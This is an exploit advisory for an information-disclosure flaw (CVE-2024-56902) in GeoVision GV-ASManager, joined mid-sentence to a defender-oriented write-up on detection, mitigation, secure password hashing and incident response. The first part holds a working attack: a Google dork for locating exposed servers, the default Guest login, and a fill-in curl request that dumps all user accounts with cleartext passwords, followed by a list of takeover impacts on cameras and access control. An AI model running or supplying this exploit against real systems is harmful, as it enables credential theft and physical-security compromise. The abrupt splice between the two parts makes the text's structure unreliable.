GeoVision GV-ASManager 6.1.0.0 - Information Disclosure
# Exploit Title: Information Disclosure in GeoVision GV-ASManager
# Google Dork: inurl:"ASWeb/Login"
# Date: 02-FEB-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.0.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2024-56902
# PoC: https://github.com/DRAGOWN/CVE-2024-56902
Information disclosure vulnerability in Geovision GV-ASManager web application with version v6.1.0.0 or less.
Requirements
To perform successful attack an attacker requires:
- GeoVision ASManager version 6.1.0.0 or less
- Network access to the GV-ASManager web application (there are cases when there are public access)
- Access to Guest account (enabled by default), or any low privilege account (Username: Guest; Password: <blank>)
Impact
The vulnerability can be leveraged to perform the following unauthorized actions:
A low privilege account is able to:
- Enumerate user accounts
- Retrieve cleartext password of any account in GV-ASManager.
After reusing the retrieved password, an attacker will be able to:
- Access the resources such as monitoring cameras, access cards, parking cars, employees and visitors, etc.
- Make changes in data and service network configurations such as employees, access card security information, IP addresses and configurations, etc.
- Disrupt and disconnect services such as monitoring cameras, access controls.
- Clone and duplicate access control data for further attack scenarios.
- Reusing retrieved password in other digital assets of the organization.
cURL script:
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: [SET-TARGET]' -H $'Content-Length: 41' -H $'Sec-Ch-Ua-Platform: \"Linux\"' -H $'X-Requested-With: XMLHttpRequest' -H $'Accept-Language: en-US,en;q=0.9' -H $'Sec-Ch-Ua: \"Not?A_Brand\";v=\"99\", \"Chromium\";v=\"130\"' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36' -H $'Accept: */*' -H $'Origin: https://192.168.50.129' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Priority: u=1, i' -H $'Connection: keep-alive' \
-b $'[SET-COOKIE - WRITE WHAT IS AFTER "Cookie:"]' \
--data-binary $'action=UA_GetAllUserAccount&node=xnode-98' \
$'[SET-TARGET]/ASWeb/bin/ASWebCommon.srf'
After a successful attack, you will get access to:
- ASWeb- Access & Security Management
- TAWeb- Time and Attendance Management
- VMWeb- Visitor Management
- ASManager - Access & Security Management software in OS GeoVision GV-ASManager 6.1.0.0 — Information Disclosure (CVE-2024-56902)
Executive summary
GeoVision GV-ASManager versions 6.1.0.0 and earlier contain an information disclosure vulnerability (CVE-2024-56902) that can expose user account data — including cleartext passwords — to low-privilege accounts. Exploitation can allow unauthorized access to systems that manage cameras, access control, time & attendance, and visitor management. This article explains the technical nature of the issue at a high level, the impact, detection and mitigation strategies, and secure remediation guidance for defenders and administrators.
Technical overview (high-level)
The vulnerability is caused by sensitive account data being returned by the web application/API and stored or transmitted in plaintext rather than being protected appropriately. As a result, users with a low-privilege profile (for example, default guest-level accounts that are often enabled out of the box) can obtain information about other accounts. That information may include usernames and cleartext passwords, which can then be reused to gain elevated access to the product and integrated systems.
Affected versions
| Product | Affected versions | Identifier |
|---|---|---|
| GeoVision GV-ASManager | 6.1.0.0 and earlier | CVE-2024-56902 |
Impact and risk
- Unauthorized account enumeration and disclosure of cleartext passwords.
- Full takeover of access control, cameras, employee/visitor records, and time & attendance systems if credentials are reused.
- Potential for physical security compromises (cloning access cards, unlocking doors) and operational disruption (camera/monitoring disruption).
- Credential reuse risk across other systems in the organization.
Prerequisites and threat model
- Network access to the GV-ASManager web interface (some deployments are reachable from public or semi-public networks).
- Access to a low-privilege account (the product historically ships with a default Guest account enabled in some installs).
- Attacker motivation: lateral movement, surveillance disablement, physical access abuse, or data exfiltration.
Detection and indicators of compromise (defender-focused)
- Unusual activity from guest or other low‑privilege accounts: repeated requests to management pages or large-volume requests returning user lists.
- HTTP responses from the ASManager web application containing user-related fields and unexpected plaintext password-like values.
- Authentication events showing new logins from previously unused accounts, or logins from unfamiliar IP addresses shortly after guest-level activity.
- Audit logs showing bulk reads of user or configuration records that are normally restricted to administrators.
Detection best practices:
- Enable verbose web server logging for management endpoints and alert on responses that include plaintext-looking credentials or the string "password".
- Monitor for anomalous patterns from guest accounts and require manual review of any mass-read events on user lists.
- Use network-based monitoring to flag unusual API requests to administrative endpoints and unusual large response payloads from management servers.
Mitigation and short-term fixes (apply immediately)
- Apply vendor-supplied patches or upgrades as soon as they are available. Prioritize systems exposed to untrusted networks.
- Disable or remove default guest accounts and any unused low-privilege accounts. If disabling is not possible, change default credentials and restrict their privileges.
- Restrict network access to ASManager interfaces: place them behind a VPN, restrict via firewall rules to known management IPs, and avoid direct public exposure.
- Rotate all administrative and integrated-system credentials after applying fixes. Assume leaked credentials may have been reused elsewhere.
- Enforce unique credentials for systems that integrate with ASManager to reduce credential reuse risk.
Long-term remediation and secure configuration
- Ensure the vendor patch is installed and validated. Confirm that the application no longer returns sensitive fields in responses and that passwords are not stored or transmitted in cleartext.
- Adopt least-privilege principles: minimize what guest/standard accounts can query and prevent any non-admin account from enumerating or retrieving other users' credentials.
- Harden authentication: enable multi-factor authentication (MFA) for administrative accounts where supported.
- Network segmentation: isolate physical security solutions from general corporate networks and restrict management plane access.
- Audit and monitoring: maintain logs of administrative operations and alert on suspicious account enumeration patterns.
Secure coding and architecture recommendations (for vendors/engineers)
- Never store passwords in plaintext. Use a modern, adaptive hashing algorithm (bcrypt, Argon2, or PBKDF2) with a per-user salt.
- Return only non-sensitive information in API responses. Sensitive fields such as password hashes or password-related metadata must never be exposed to API clients.
- Implement granular authorization checks on every API endpoint. Enforce role-based access control server-side rather than relying on client-side checks.
- Perform threat modeling and periodic secure code reviews focused on data exposure and authorization flaws.
Example: secure password hashing (safe, defensive code)
// Node.js example using bcrypt for hashing and verification
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12;
// Hash a password before storing it
async function hashPassword(plainPassword) {
const hash = await bcrypt.hash(plainPassword, SALT_ROUNDS);
return hash; // store only this hash in the database
}
// Verify a password during login
async function verifyPassword(plainPassword, storedHash) {
const match = await bcrypt.compare(plainPassword, storedHash);
return match; // true if password is correct
}
Explanation: this code demonstrates how to store and verify passwords securely. The application stores only the result of bcrypt.hash (a salted, slow hash). During authentication, bcrypt.compare is used to verify a plaintext password against the stored hash. This prevents any plaintext passwords from being stored or exposed by the server.
Incident response checklist (recommended steps)
- Isolate affected systems from untrusted networks if possible while preserving logs for investigation.
- Collect and preserve logs from web servers, application logs, and network devices for the investigation window.
- Identify accounts that may have been disclosed. Force password resets and rotate any associated credentials (API keys, service accounts, integrated device credentials).
- Assess scope: identify lateral systems that may have used the same credentials and apply remediation.
- Apply official patches, confirm remediation, and perform penetration testing or targeted verification to ensure the vulnerability is resolved.
- Notify stakeholders and, where applicable, follow legal or regulatory disclosure obligations.
Responsible disclosure and reporting
If you are an administrator or researcher who discovers similar behavior, follow responsible disclosure practices: contact the vendor through official channels, provide evidence and reproduction steps privately, and coordinate patching and disclosure timelines. Administrators should prioritize patching and restricting access over public disclosure until fixes are widely available.
References and resources
- GeoVision official site and support/downloads: https://www.geovision.com.tw/
- CVE record: CVE-2024-56902 (refer to NVD or your local CVE database for details)
- General secure password handling: documentation for bcrypt, Argon2 and OWASP Authentication Cheat Sheet.